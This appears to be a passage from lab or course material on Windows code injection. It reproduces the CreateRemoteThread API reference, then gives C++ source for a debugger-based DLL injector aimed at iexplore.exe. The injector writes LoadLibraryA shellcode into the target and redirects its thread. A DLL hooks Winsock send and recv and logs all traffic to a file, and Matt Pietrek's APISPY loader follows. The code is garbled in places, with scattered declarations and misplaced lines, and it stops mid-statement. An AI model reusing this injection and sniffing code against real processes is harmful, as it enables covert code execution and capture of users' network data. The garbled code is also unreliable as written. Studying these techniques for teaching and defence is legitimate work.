Parameters hProcess [in] Handle to the process in which the thread is to be created. The handle must have the PROCESS_CREATE_THREAD, PROCESS_QUERY_INFORMATION, PROCESS_VM_OPERATION, PROCESS_VM_WRITE, and PROCESS_VM_READ access rights. For more information, see Process Security and Access Rights. lpThreadAttributes [in] Pointer to a SECURITY_ATTRIBUTES structure that specifies a security descriptor for the new thread and determines whether child processes can inherit the returned handle. If lpThreadAttributes is NULL, the thread gets a default security descriptor and the handle cannot be inherited. The access control lists
31
(ACL) in the default security descriptor for a thread come from the primary token of the creator. Windows XP/2000/NT: The ACLs in the default security descriptor for a thread come from the primary or impersonation token of the creator. This behavior changed with Windows XP SP2 and Windows Server 2003. dwStackSize [in] Initial size of the stack, in bytes. The system rounds this value to the nearest page. If this parameter is 0 (zero), the new thread uses the default size for the executable. For more information, see Thread Stack Size. lpStartAddress [in] Pointer to the application-defined function of type LPTHREAD_START_ROUTINE to be executed by the thread and represents the starting address of the thread in the remote process. The function must exist in the remote process. For more information, see ThreadProc. lpParameter [in] Pointer to a variable to be passed to the thread function. dwCreationFlags [in] Flags that control the creation of the thread. If the CREATE_SUSPENDED flag is specified, the thread is created in a suspended state and does not run until the ResumeThread function is called. If this value is zero, the thread runs immediately after creation. If the STACK_SIZE_PARAM_IS_A_RESERVATION flag is specified, the dwStackSize parameter specifies the initial reserve size of the stack. Otherwise, dwStackSize specifies the commit size. Windows 2000/NT: The STACK_SIZE_PARAM_IS_A_RESERVATION flag is not supported. lpThreadId [out] Pointer to a variable that receives the thread identifier. If this parameter is NULL, the thread identifier is not returned. Return Values If the function succeeds, the return value is a handle to the new thread. If the function fails, the return value is NULL. To get extended error information, call GetLastError. Note that CreateRemoteThread may succeed even if lpStartAddress points to data, code, or is not accessible. If the start address is invalid when the thread runs, an exception occurs, and the thread terminates. Thread termination due to a invalid start address is handled as an error exit for the thread's process. This behavior is similar to the asynchronous nature of CreateProcess, where the process is created even if it refers to invalid or missing dynamic-link libraries (DLL).
32
Remarks The CreateRemoteThread function causes a new thread of execution to begin in the address space of the specified process. The thread has access to all objects that the process opens. Terminal Services isolates each terminal session by design. Therefore, CreateRemoteThread fails if the target process is in a different session than the calling process. The new thread handle is created with full access to the new thread. If a security descriptor is not provided, the handle may be used in any function that requires a thread object handle. When a security descriptor is provided, an access check is performed on all subsequent uses of the handle before access is granted. If the access check denies access, the requesting process cannot use the handle to gain access to the thread. The thread is created with a thread priority of THREAD_PRIORITY_NORMAL. Use the GetThreadPriority and SetThreadPriority functions to get and set the priority value of a thread. When a thread terminates, the thread object attains a signaled state, which satisfies the threads that are waiting for the object. The thread object remains in the system until the thread has terminated and all handles to it are closed through a call to CloseHandle. The ExitProcess, ExitThread, CreateThread, CreateRemoteThread functions, and a process that is starting (as the result of a CreateProcess call) are serialized between each other within a process. Only one of these events occurs in an address space at a time. This means the following restrictions hold:
During process startup and DLL initialization routines, new threads can be created, but they do not begin execution until DLL initialization is done for the process. Only one thread in a process can be in a DLL initialization or detach routine at a time. ExitProcess returns after all threads have completed their DLL initialization or detach routines.
A common use of this function is to inject a thread into a process that is being debugged to issue a break. However, this use is not recommended, because the extra thread is confusing to the person debugging the application and there are several side effects to using this technique:
It converts single-threaded applications into multi-threaded applications. It changes the timing and memory layout of the process.
33
Another common use of this function is to inject a thread into a process to query heap or other process information. This can cause the same side effects mentioned in the previous paragraph. Also, the application can deadlock if the thread attempts to obtain ownership of locks that another thread is using. Requirements Client: Requires Windows XP, Windows 2000 Professional, or Windows NT Workstation. Server: Requires Windows Server 2003, Windows 2000 Server, or Windows NT Server. Header: Declared in Winbase.h; include Windows.h. Library: Link to Kernel32.lib. DLL: Requires Kernel32.dll.
34
35
//EXE.CPP #include <windows.h> #include <windowsx.h> #include <iostream> #include <cstdio> #include <string> using namespace std; #define Filename "C:\\Program Files\\Internet Explorer\\iexplore.exe" #define DLLTOINJECT "C:\\DLL.dll" //@@@@@@@@@@@ CONTEXT OriginalContext; char OriginalCodePage[4096]; DWORD sizeofCP=0; VOID* mySec; //return values: // // if 0 // if -1 // else // //
successful (0xFFFFFFFF) WriteProcessMemory returned FALSE Amount of bytes written + 1 (to get exact amount of bytes written, you must decrement return value by one!)
DWORD RestoreOriginalCodePage( HANDLE hProcess, HANDLE hThread, DWORD *outSize ) { BOOL B; DWORD written; CONTEXT Context; if(outSize) *outSize = sizeofCP; //Just for user's info Context.ContextFlags = CONTEXT_FULL; GetThreadContext( hThread, &Context); B = WriteProcessMemory( hProcess, mySec, OriginalCodePage, sizeofCP, &written ); if(!B) return -1; if(written!=sizeofCP) return written+1; B=SetThreadContext( hThread, (CONST CONTEXT*)&OriginalContext); if(!B) return -1; return 0; } BOOL InjectDLL(HANDLE hProcess, HANDLE hThread, VOID* hModuleBase, char *DllName) {//You must have debug access to hProcess (required for ReadProcessMemory() & WriteProcessMemory) FARPROC LoadLibProc = GetProcAddress(GetModuleHandle("KERNEL32.dll"), "LoadLibraryA"); FARPROC LastErrProc = GetProcAddress(GetModuleHandle("KERNEL32.dll"), "GetLastError"); if(!LoadLibProc || !LastErrProc) return FALSE; //////////////////////////////// char CodePage[4096] = { 0xB8, 00, 00, 00, 00, // mov EAX, 0h | Pointer to LoadLibraryA() (DWORD) 0xBB, 00, 00, 00, 00, // mov EBX, 0h | DLLName to inject (DWORD) 0x53, // push EBX 0xFF, 0xD0, // call EAX 0x5b, // pop EBX
36
0xcc }; int nob=15; char *DLLName; DWORD *EAX, *EBX; DLLName = (char*)((DWORD)CodePage + nob); EAX = (DWORD*)( CodePage + 1); EBX = (DWORD*) ( CodePage + 6);
// INT 3h
strcpy( DLLName, DllName ); *EAX = (DWORD)LoadLibProc; *EBX = nob; // need to do this: *EBX = *EBX + (Section) //////////////////////////// sizeofCP = strlen(DllName) + nob +1; IMAGE_DOS_HEADER DOShdr; IMAGE_NT_HEADERS *pNThdr, NThdr; IMAGE_SECTION_HEADER SecHdr, *pSecHdr; IMAGE_DATA_DIRECTORY DataDir, *pDataDir; //@@@@@@@@ DWORD dwD, dwD2, read, written; CONTEXT Context; BOOL B; Context.ContextFlags = CONTEXT_FULL;//CONTROL; OriginalContext.ContextFlags = CONTEXT_FULL;//CONTROL; if(!GetThreadContext( hThread, &OriginalContext)) { dwD = GetLastError(); return FALSE; } // Check to see if we have valid Headers: // /////////Get DOS hdr B = ReadProcessMemory(hProcess, hModuleBase, &DOShdr, sizeof(DOShdr), &read); if( (!B) || (read!=sizeof(DOShdr)) ) return FALSE; if( DOShdr.e_magic != IMAGE_DOS_SIGNATURE ) //Check for `MZ return FALSE; //Get NT header B = ReadProcessMemory( hProcess, (VOID*)((DWORD)hModuleBase + (DWORD)DOShdr.e_lfanew), &NThdr, sizeof(NThdr), &read); if( (!B) || (read!=sizeof(NThdr)) ) return FALSE; if( NThdr.Signature != IMAGE_NT_SIGNATURE ) //Check for `PE\0\0 return 0; // Valid EXE header! // Look for a usable writable code page: // ///// // if( (dwD=NThdr.FileHeader.NumberOfSections) < 1 ) return FALSE;//Section table: (after optional header) pSecHdr = (IMAGE_SECTION_HEADER*) ( ((DWORD)hModuleBase + (DWORD)DOShdr.e_lfanew) + (DWORD)sizeof(NThdr.FileHeader) + (DWORD)NThdr.FileHeader.SizeOfOptionalHeader + 4 );//@@@@@@@@@@@@@ B=FALSE; dwD2 = (DWORD)GetModuleHandle(0); for( dwD2=0 ; dwD2<dwD ; dwD2++ ) {//iterate sections to look for a writable part of memory and NOT .idata if( !ReadProcessMemory( hProcess, pSecHdr, &SecHdr, sizeof(SecHdr), &read) )
37
return FALSE; if(read!=sizeof(SecHdr)) return FALSE; if( (SecHdr.Characteristics & IMAGE_SCN_MEM_WRITE) //writable section && ( strcmpi((const char*)SecHdr.Name, ".idata")!=NULL ) //not .idata (import data) ) { B = TRUE; break;//OK!! } pSecHdr++; } if(!B) return FALSE; //couldn't find usable code page! // ///// //Found a section: (SecHdr.VirtualAddress + (DWORD)hModuleBase) mySec = (VOID*)(SecHdr.VirtualAddress + (DWORD)hModuleBase); *EBX = *EBX + (DWORD)mySec; if(!ReadProcessMemory( hProcess, mySec, OriginalCodePage, sizeofCP, &read) ) return FALSE; if(read != sizeofCP) return FALSE; //Now starts the mega part! (If an error occurs here, god knows what might happen! B = WriteProcessMemory( hProcess, mySec, CodePage, sizeofCP, &written); if( (written!=0) && (written!=sizeofCP) ) //Uh oh!, System crash might occur now! {//****EMERGENCY**** ****EMERGENCY**** ****EMERGENCY**** ****EMERGENCY**** WriteProcessMemory( hProcess, mySec, OriginalCodePage, sizeofCP, &written); // Try to save what you can, and return back to memory return FALSE; //might not have worked, so, big s***! } if((!B) || (written!=sizeofCP)) return FALSE; //Ok, injected successfully, //You MUST call function RestoreOriginalCodePage() function upon the following breakpoint! Context = OriginalContext; Context.Eip = (DWORD)mySec; B = SetThreadContext(hThread, &Context); if(!B) return FALSE; return 1; } int Create() { BOOL B=FALSE, BREAK1=FALSE, BREAK2=FALSE; STARTUPINFO sInfo; PROCESS_INFORMATION pInfo; DEBUG_EVENT dEvent; DWORD ret; ZeroMemory((VOID*)&sInfo, sizeof(sInfo)); B = CreateProcess(Filename, 0, 0, 0, FALSE, DEBUG_ONLY_THIS_PROCESS, 0, 0, &sInfo, &pInfo); if(!B) return FALSE; //-----
38
/// //// ///// We need 3 things, ProcessHandle, ThreadHandle, and BaseOfImage //// /// //----HANDLE VOID * //char //^^#defined above.. while(1) { if( !(B = WaitForDebugEvent(&dEvent, INFINITE)) ) return -1; if(dEvent.dwDebugEventCode==CREATE_PROCESS_DEBUG_EVENT) { BaseOfImage = dEvent.u.CreateProcessInfo.lpBaseOfImage; } if(dEvent.dwDebugEventCode==EXIT_PROCESS_DEBUG_EVENT) break; if(dEvent.dwDebugEventCode==EXCEPTION_DEBUG_EVENT)//Check for breakpoint { if(dEvent.u.Exception.ExceptionRecord.ExceptionCode==EXCEPTION_BREAKPOINT) {//It is a break point; if(BREAK1==FALSE) {//First Breakpoint occured B = InjectDLL( pInfo.hProcess, pInfo.hThread, BaseOfImage, DLLTOINJECT); BREAK1 = TRUE; if(!B) return 0; }else if(BREAK2==FALSE) { ret = RestoreOriginalCodePage( PHandle, THandle, 0); BREAK2=TRUE; } }else { ContinueDebugEvent( dEvent.dwProcessId, dEvent.dwThreadId, DBG_EXCEPTION_NOT_HANDLED); continue; } }//end if ContinueDebugEvent( dEvent.dwProcessId, dEvent.dwThreadId, DBG_CONTINUE); }//end while() }//end function Create() int Open() { return 0; } int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE prev, LPSTR lpCmdLine, int nShowCmd) { Create(); Open(); return 0; } PHandle=pInfo.hProcess, THandle=pInfo.hThread; BaseOfImage; DLLTOINJECT[] = "d:\\VCPrj\\Inject\\DLL\\Release\\DLL.dll";
39
//DLL.CPP //Lol, no, this isn't build for win64 //32bit address spacing only.. #include <windows.h> #include "HookAPI.h" #include <iostream> #define Append(text) AppendLog(text, strlen(text)) #define LogFile "d:\\logs\\sniffer\\LOG.txt" using namespace std; ///// ////////// HINSTANCE HANDLE /// HANDLE OpenLog(char *Filename); BOOL CloseLog(HANDLE h=hLogFile); DWORD AppendLog(char *str, DWORD uSize, HANDLE h=hLogFile); int HookWinsockProcs(); /// BOOL ////////// //// BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID _Reserved) { switch(dwReason) { case DLL_PROCESS_ATTACH: g_hInst = hInstance; hLogFile = OpenLog(LogFile); Append("\r\n************************\r\nDLL_PROCESS_ATTACH\r\n"); HookWinsockProcs(); return true; break; case DLL_THREAD_ATTACH: Append("DLL_THREAD_ATTACH\r\n"); break; case DLL_THREAD_DETACH: Append("DLL_THREAD_DETACH\r\n"); break; case DLL_PROCESS_DETACH: Append("DLL_PROCESS_DETACH\r\n********************\r\n\r\n"); CloseLog(); return true; break; }//end switch(dwReason) return true; } //=========================== // Related to LOG file // HANDLE OpenLog(char *Filename) { IsLogging=false; g_hInst=0; hLogFile=0;
40
HANDLE hLogFile; hLogFile = CreateFile( Filename, GENERIC_WRITE, FILE_SHARE_READ, 0, OPEN_ALWAYS,0,0); if(hLogFile!=INVALID_HANDLE_VALUE) IsLogging = true;//SetFilePointer(hLogFile, 0,0, FILE_END);//*/ return hLogFile; } BOOL CloseLog(HANDLE h) { IsLogging = false; return CloseHandle(h); } //returns written bytes DWORD AppendLog(char *str, DWORD uSize, HANDLE h) { DWORD written; if(!IsLogging) return 0; SetFilePointer( h, 0, 0, FILE_END ); WriteFile(h, str, uSize, &written, 0); return written; } // // //============================ //HookFuncs.CPP #include <windows.h> //#include <HookAPI.h> #include <iostream> #include <cstdio> #include <string> #define Append(text) AppendLog(text, strlen(text)) using namespace std; PROC WINAPI HookImportedFunction( HMODULE hFromModule, // Module to intercept calls from PSTR pszFunctionModule, // Module to intercept calls to PSTR pszFunctionName, // Function to intercept calls to PROC pfnNewProc // New function (replaces old function) ); extern BOOL IsLogging; extern HANDLE hLogFile; HANDLE OpenLog(char *Filename); BOOL CloseLog(HANDLE h=hLogFile); DWORD AppendLog(char *str, DWORD uSize, HANDLE h=hLogFile); BOOL Hooked=false;
////// //// typedef int(WINAPI *SENDPROC)(SOCKET, const char FAR*, int, int); //SENDPROC typedef int(WINAPI *RECVPROC)(SOCKET, char FAR *, int, int); //RECVPROC typedef int(WINAPI *BINDPROC)(SOCKET, const struct sockaddr FAR *, int); //BINDPROC typedef int(WINAPI *CLOSESOCKETPROC)(SOCKET); //CLOSESOCKETPROC typedef int(WINAPI *CONNECTPROC)(SOCKET, const struct sockaddr FAR *, int); //CONNECTPROC typedef int(WINAPI *LISTENPROC)(SOCKET, int); //LISTENPROC typedef SOCKET(WINAPI *ACCEPTPROC)(SOCKET, struct sockaddr FAR *, int FAR *); //ACCEPTPROC
41
typedef SOCKET(WINAPI *SOCKETPROC)(int, int, int); //SOCKETPROC typedef int(WINAPI *WSAGetLastErrorProc)(void); //WSAGetLastErrorProc //// ////// // /////////////////////////////////////////// // SENDPROC RECVPROC ACCEPTPROC BINDPROC CLOSESOCKETPROC CONNECTPROC LISTENPROC SOCKETPROC WSAGetLastErrorProc // /////////////////////////////////////////// // int WINAPI int flags ); int flags); int WINAPI _accept (SOCKET s, struct sockaddr FAR *addr, int FAR *addrlen); int WINAPI *name, int namelen); int WINAPI int WINAPI *name, int namelen); SOCKET WINAPI // ////////////////////////////////////////// // //============================ // Hook functions: // #define WinsockDll "WSock32.dll" #define Hook(dllfuncname, proc) HookImportedFunction(GetModuleHandle(0), WinsockDll, dllfuncname, (PROC)proc) #define IfCantHook(returnV, cast, dllfuncname, proc) if( (returnV = (cast)Hook(dllfuncname, (PROC)proc))==0 ) #define CheckForHook if(!Hooked) return #define SendCheck Append("error"); else Append("OK") int HookWinsockProcs() { Hooked=false; Append("Hooking..."); Append("\r\n\tsocket() -> "); IfCantHook(Osocket, SOCKETPROC, "socket", _socket) SendCheck; _socket (int af, int type, int protocol); _closesocket (SOCKET s); _connect (SOCKET s, const struct sockaddr FAR _bind (SOCKET s, const struct sockaddr FAR _listen (SOCKET s, int backlog ); SOCKET WINAPI WINAPI _recv (SOCKET s, char FAR *buf, int len, int
42
Append("\r\n\tsend() -> "); IfCantHook(Osend, SENDPROC, "send", _send) SendCheck; Append("\r\n\trecv() ->"); IfCantHook(Orecv, RECVPROC, "recv", _recv) SendCheck; Append("\r\n\tlisten() -> "); IfCantHook(Olisten, LISTENPROC, "listen", _listen) SendCheck; Append("\r\n\taccept() -> "); IfCantHook(Oaccept, ACCEPTPROC, "accept", _accept) SendCheck; Append("\r\n\tbind() -> "); IfCantHook(Obind, BINDPROC, "bind", _bind) SendCheck; Append("\r\n\tclosesocket() -> "); IfCantHook(Oclosesocket, CLOSESOCKETPROC, "closesocket", _closesocket) SendCheck; Append("\r\n\tconnect() -> "); IfCantHook(Oconnect, CONNECTPROC, "connect", _connect) SendCheck; Append("\r\nWSAGetLastError() ->"); OWSAGetLastError = GetProcAddress(GetModuleHandle(WinsockDll), "WSAGetLastError"); if(OWSAGetLastError==0) SendCheck; Append("\r\n\r\n"); Hooked = true; return 0; }//end function HookWinsockProcs() // // //==================================================
int WINAPI _send(SOCKET s, const char FAR *buff, int len, int flags ) { ///////////////////////// char buf[1024]; int ret = Osend(s, buff, len, flags); sprintf(buf, "send(SOCKET=%d, size=%d) - ret=%d \r\n{", s, len, ret); Append(buf); AppendLog((char*)buff, len); Append("}\r\n"); return ret; } int { WINAPI _recv(SOCKET s, char FAR *buff, int len, int flags) char buf[1024]; int ret = Orecv(s, buff, len, flags); int gle; if(ret==-1)//SOCKET_ERROR { if(OWSAGetLastError!=0)
43
{ gle = OWSAGetLastError(); if(gle==WSAEWOULDBLOCK) sprintf(buf, "recv(SOCKET=%d, size=%d) - No data in queue (nonblocking socket)\r\n", s, len, ret); else sprintf(buf, "recv(SOCKET=%d, size=%d) - ret=%d - SOCKET_ERROR WSAGetLastError=%d\r\n", s, len, ret, gle); } else sprintf(buf, "recv(SOCKET=%d, size=%d) - ret=%d - SOCKET_ERROR WSAGetLastError=???\r\n", s, len, ret); Append(buf); }else if(ret==0) { sprintf(buf, "recv(SOCKET=%d, size=%d) - ret=%d If the connection has been gracefully closed!\r\n", s, len, ret); Append(buf); }else { sprintf(buf, "recv(SOCKET=%d, size=%d) - ret=%d(bytes recv'ed) \r\n{", s, len, ret); Append(buf); AppendLog(buff, ret); Append("}\r\n"); } return ret; } int { WINAPI _listen(SOCKET s, int backlog ) char buf[1024]; int ret = Olisten(s, backlog); sprintf(buf, "listen(SOCKET=%d, backlog=%d) - ret=%d\r\n", s, backlog, ret); Append(buf); return ret; } SOCKET WINAPI _accept(SOCKET s, struct sockaddr FAR *addr, int FAR *addrlen) { char buf[1024]; int ret= Oaccept(s, addr, addrlen); sprintf(buf, "accept(SOCKET=%d) - ret=(SOCKET)%d//New socket descriptor\r\n", s, ret); Append(buf); return ret; } int WINAPI _bind(SOCKET s, const struct sockaddr FAR *name, int namelen) { char buf[1024]; int ret = Obind(s, name, namelen); sprintf(buf, "bind(SOCKET=%d, sockaddr=%x) - ret=%d\r\n", s, (DWORD)name, ret); Append(buf); return ret; } int WINAPI _closesocket(SOCKET s) { char buf[1024]; int ret = Oclosesocket(s); sprintf(buf, "closesocket(SOCKET=%d) - ret=%d\r\n", s, ret);
44
Append(buf); return ret; } int WINAPI _connect( SOCKET s, const struct sockaddr FAR *name, int namelen) { char buf[1024]; int ret = Oconnect(s, name, namelen); sprintf(buf, "connect(SOCKET=%d, sockaddr=%x) - ret=%d", s, (DWORD)name, ret); Append(buf); return ret; } SOCKET WINAPI _socket(int af, int type, int protocol) { char buf[1024], buf2[1024]; SOCKET ret=Osocket(af, type, protocol); sprintf(buf, "socket(af="); if(af==AF_INET) sprintf(buf, "%s%s, type=", buf, "AF_INET"); else sprintf(buf, "%s%d, type=", buf, af); if(type==SOCK_STREAM) strcpy(buf2, "SOCK_STREAM"); else if(type==SOCK_DGRAM) strcpy(buf2, "SOCK_DGRAM"); else itoa(type, buf2, 10); sprintf(buf, "%s%s, protocol=%d) - ", buf, buf2, protocol); if(ret!=-1) sprintf(buf, "%sret=(SOCKET)%d //New socket descriptor\r\n", buf, ret); else { sprintf(buf, "%sret==SOCKET_ERROR(-1) -> WSAGetLastError()=", buf); if(OWSAGetLastError) sprintf(buf, "%s%d\r\n", OWSAGetLastError()); else strcat(buf, "???\r\n"); } Append(buf); return ret; }
//HOOKAPI.H #ifndef __HOOKAPI_H #define __HOOKAPI_H //================================== // SIMONSEZ - Matt Pietrek 1995 // Modified by - CrankHank // Nasser Rowhani // FILE: HOOKAPI.C/H //================================== #include <windows.h> #include <string.h> // Macro for adding pointers/DWORDs together without C arithmetic interfering #define MakePtr( cast, ptr, addValue ) (cast)( (DWORD)(ptr)+(DWORD)(addValue))
45
DWORD GetModuleBaseFromWin32sHMod(HMODULE hMod); // Prototype (defined below) PROC WINAPI HookImportedFunction( HMODULE hFromModule, // Module to intercept calls from PSTR pszFunctionModule, // Module to intercept calls to PSTR pszFunctionName, // Function to intercept calls to PROC pfnNewProc // New function (replaces old function) ) { PROC pfnOriginalProc; PIMAGE_DOS_HEADER pDosHeader; PIMAGE_NT_HEADERS pNTHeader; PIMAGE_IMPORT_DESCRIPTOR pImportDesc; PIMAGE_THUNK_DATA pThunk; BOOL B; DWORD dwOld, dw; // DWORD *pdw1; if ( IsBadCodePtr(pfnNewProc) ) // Verify that a valid pfn was passed return 0; // First, verify the the module and function names passed to use are valid pfnOriginalProc = GetProcAddress( GetModuleHandle(pszFunctionModule), pszFunctionName ); /* pdw1 = (DWORD*)pfnOriginalProc; pfnOriginalProc = (PROC)*pdw1;*/ if ( !pfnOriginalProc ) return 0; if ( (GetVersion() & 0xC0000000) == 0x80000000 ) pDosHeader = // Win32s (PIMAGE_DOS_HEADER)GetModuleBaseFromWin32sHMod(hFromModule); else pDosHeader = (PIMAGE_DOS_HEADER)hFromModule; // other // Tests to make sure we're looking at a module image (the 'MZ' header) if ( IsBadReadPtr(pDosHeader, sizeof(IMAGE_DOS_HEADER)) ) return 0; if ( pDosHeader->e_magic != IMAGE_DOS_SIGNATURE ) return 0; // The MZ header has a pointer to the PE header pNTHeader = MakePtr(PIMAGE_NT_HEADERS, pDosHeader, pDosHeader->e_lfanew); // More tests to make sure we're looking at a "PE" image if ( IsBadReadPtr(pNTHeader, sizeof(IMAGE_NT_HEADERS)) ) return 0; if ( pNTHeader->Signature != IMAGE_NT_SIGNATURE ) return 0; // We know have a valid pointer to the module's PE header. Now go // get a pointer to its imports section pImportDesc = MakePtr(PIMAGE_IMPORT_DESCRIPTOR, pDosHeader, pNTHeader->OptionalHeader. DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]. VirtualAddress); // Bail out if the RVA of the imports section is 0 (it doesn't exist) if ( pImportDesc == (PIMAGE_IMPORT_DESCRIPTOR)pNTHeader ) return 0; // Iterate through the array of imported module descriptors, looking // for the module whose name matches the pszFunctionModule parameter while ( pImportDesc->Name ) { PSTR pszModName = MakePtr(PSTR, pDosHeader, pImportDesc->Name); if ( stricmp(pszModName, pszFunctionModule) == 0 )
46
break; pImportDesc++; // Advance to next imported module descriptor } // Bail out if we didn't find the import module descriptor for the // specified module. pImportDesc->Name will be non-zero if we found it. if ( pImportDesc->Name == 0 ) return 0; // Get a pointer to the found module's import address table (IAT) pThunk = MakePtr(PIMAGE_THUNK_DATA, pDosHeader, pImportDesc->FirstThunk); // Blast through the table of import addresses, looking for the one // that matches the address we got back from GetProcAddress above. while ( pThunk->u1.Function ) { if ( (DWORD)pThunk->u1.Function == (DWORD)pfnOriginalProc ) { // We found it! Overwrite the original address with the // address of the interception function. Return the original // address to the caller so that they can chain on to it. //Problem persists in winXP... Not required in win98.. //DLL will simply unload if an unalowed byte was modified. if(IsBadWritePtr(&pThunk->u1.Function, 4)) { B = VirtualProtect(&pThunk->u1.Function, 4, PAGE_EXECUTE_READWRITE, &dwOld); pThunk->u1.Function = (DWORD*)pfnNewProc; B = VirtualProtect(&pThunk->u1.Function, 4, dwOld, &dw); }else pThunk->u1.Function = (DWORD*)pfnNewProc; //pfnOriginalProc = (PROC)(DWORD)pdw1; return pfnOriginalProc; } pThunk++; // Advance to next imported function address } return 0; // Function not found } typedef DWORD (__stdcall *XPROC)(DWORD); // Converts an HMODULE under Win32s to a base address in memory DWORD GetModuleBaseFromWin32sHMod(HMODULE hMod) { XPROC ImteFromHModule, BaseAddrFromImte; HMODULE hModule; DWORD imte; hModule = GetModuleHandle("W32SKRNL.DLL"); if( !hModule ) return 0; ImteFromHModule = (XPROC)GetProcAddress(hModule, "_ImteFromHModule@4"); if ( !ImteFromHModule ) return 0; BaseAddrFromImte = (XPROC)GetProcAddress(hModule, "_BaseAddrFromImte@4"); if ( !BaseAddrFromImte ) return 0; imte = ImteFromHModule( (DWORD)hMod); if ( !imte )
47
return 0; return BaseAddrFromImte(imte); } /* example: typedef int (WINAPI *MESSAGEBOXPROC)(HWND, LPCTSTR, LPCTSTR, UINT); MESSAGEBOXPROC OriginalProc; using namespace std; int WINAPI MsgBox(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType) { int ret; ret = OriginalProc(hWnd, lpText, "MsgBox()", uType); return ret; } int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hprev, LPSTR lpCmdLine, int nShowCmd) { MessageBox(0, "This is a normal windows message box", "MessageBox()", MB_OK); OriginalProc = (MESSAGEBOXPROC) HookImportedFunction( GetModuleHandle(0), "USER32.DLL", "MessageBoxA", (PROC)MsgBox); if(!OriginalProc) { MessageBox(0, "Couldn't be done!", "ERROR", 0); return 0; } MessageBox(0, "This is another normal windows message box", "MessageBox()", MB_OK); return 0; } */#endif
48
49
NOTE: APISPY has several files. For more information refer to the APISPY32 directory. Here we provide the main files for the lab: APISPYLD.CPP and DebugInjector.CPP //APISPYLD.CPP //================================== // APISPYLD - Matt Pietrek 1995/2001 // FILE: APISPYLD.CPP //================================== #include <windows.h> #include <stddef.h> #include <shlwapi.h> #pragma hdrstop #include "apispyld.h" #include "DebugInjector.h" //======================== Global Variables ================================= char SzINISection[] = "Options"; char SzINICmdLineKey[] = "CommandLine"; char SzINIFile[] = "APISPY32.INI"; char SzCmdLine[MAX_PATH]; //======================== Function prototypes =============================== BOOL CALLBACK APISPY32DlgProc(HWND, UINT, WPARAM, LPARAM); void Handle_WM_COMMAND(HWND hWndDlg, WPARAM wParam, LPARAM lParam); void Handle_WM_INITDIALOG(HWND hWndDlg, WPARAM wParam, LPARAM lParam); BOOL GetProgramName(HWND hWndOwner, PSTR szFile, unsigned nFileBuffSize); bool GetInjectedDLLFullPath( PSTR pszFullPath ); //======================== Code ============================================= int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpszCmdLine, int nCmdShow ) { // This dialog returns 0 if the user pressed cancel while ( 0 != DialogBox(hInstance, "APISPY32_LOAD_DLG", 0, (DLGPROC)APISPY32DlgProc) ) { CDebugInjector injector; char szDllToInject[MAX_PATH]; GetInjectedDLLFullPath( szDllToInject ); if ( injector.LoadProcess( SzCmdLine ) ) { injector.SetDLLToInject( szDllToInject ); injector.Run(); } else { MessageBox(0, "Unable to start program", 0, MB_OK); } } return 0; } BOOL CALLBACK APISPY32DlgProc(HWND hWndDlg, UINT msg, WPARAM wParam, LPARAM lParam) { switch ( msg ) { case WM_COMMAND: Handle_WM_COMMAND(hWndDlg, wParam, lParam); return TRUE; case WM_INITDIALOG: Handle_WM_INITDIALOG(hWndDlg, wParam, lParam); return TRUE; case WM_CLOSE:
50
EndDialog(hWndDlg, 0); return FALSE; } return FALSE; } void Handle_WM_COMMAND(HWND hWndDlg, WPARAM wParam, LPARAM lParam) { if ( wParam == IDC_RUN ) { if ( GetWindowText( GetDlgItem(hWndDlg, IDC_CMDLINE), SzCmdLine, sizeof(SzCmdLine)) ) { WritePrivateProfileString(SzINISection, SzINICmdLineKey, SzCmdLine, SzINIFile); EndDialog(hWndDlg, 1); // Return TRUE } else { MessageBox( hWndDlg, "No program selected", 0, MB_OK); } } else if ( wParam == IDC_FILE ) { if ( GetProgramName(hWndDlg, SzCmdLine, sizeof(SzCmdLine)) ) SetWindowText( GetDlgItem(hWndDlg, IDC_CMDLINE), SzCmdLine ); } else if ( wParam == IDCANCEL ) { EndDialog(hWndDlg, 0); } } void Handle_WM_INITDIALOG(HWND hWndDlg, WPARAM wParam, LPARAM lParam) { GetPrivateProfileString(SzINISection, SzINICmdLineKey, "", SzCmdLine, sizeof(SzCmdLine), SzINIFile); SetWindowText( GetDlgItem(hWndDlg, IDC_CMDLINE), SzCmdLine ); } static char szFilter1[] = "Programs (*.EXE)\0*.EXE\0"; BOOL GetProgramName(HWND hWndOwner, PSTR szFile, unsigned nFileBuffSize) { OPENFILENAME ofn; szFile[0] = 0; memset(&ofn, 0, sizeof(OPENFILENAME)); ofn.lStructSize = sizeof(OPENFILENAME); ofn.hwndOwner = hWndOwner; ofn.lpstrFilter = szFilter1; ofn.nFilterIndex = 1; ofn.lpstrFile= szFile; ofn.nMaxFile = nFileBuffSize; ofn.lpstrFileTitle = 0; ofn.nMaxFileTitle = 0; ofn.lpstrInitialDir = 0; ofn.Flags = OFN_PATHMUSTEXIST | OFN_FILEMUSTEXIST; return GetOpenFileName(&ofn); } //=========================================================================== bool GetInjectedDLLFullPath( PSTR pszFullPath ) { // The DLL should be in the same directory as this EXE. Get the EXE's
51
// full path and replace the EXE name with the DLL name. char szExePath[MAX_PATH]; GetModuleFileName( 0, szExePath, sizeof(szExePath) ); PathRemoveFileSpec( szExePath ); strcpy( pszFullPath, szExePath ); strcat( pszFullPath, "\\APISPY32.DLL" ); return true; } //DebugInjector.CPP //========================================== // Matt Pietrek // Microsoft Systems Journal, March 2000 // FILE: DelayLoadProfile.CPP //========================================== #include "windows.h" #include <stdio.h> #include <malloc.h> #include <stddef.h> #include "DebugInjector.h" static PSTR s_arszDebugEventTypes[] = { "", "EXCEPTION", "CREATE_THREAD", "CREATE_PROCESS", "EXIT_THREAD", "EXIT_PROCESS", "LOAD_DLL", "UNLOAD_DLL", "OUTPUT_DEBUG_STRING", "RIP", }; ////////////////////////////////////////////////////////////////////// // Construction/Destruction ////////////////////////////////////////////////////////////////////// CDebugInjector::CDebugInjector() : m_bInjected( false ), m_pszDLLToInject( 0 ), m_pExeEntryPoint( 0 ), m_pStubInTarget( 0 ), m_pStubInTargetBP( 0 ), m_originalExeEntryPointOpcode( 0 ), m_pfnODSCallback(0) { memset( &m_CreateProcessDebugInfo, 0, sizeof(m_CreateProcessDebugInfo) ); memset( &m_originalThreadContext, 0, sizeof(m_originalThreadContext) ); memset( 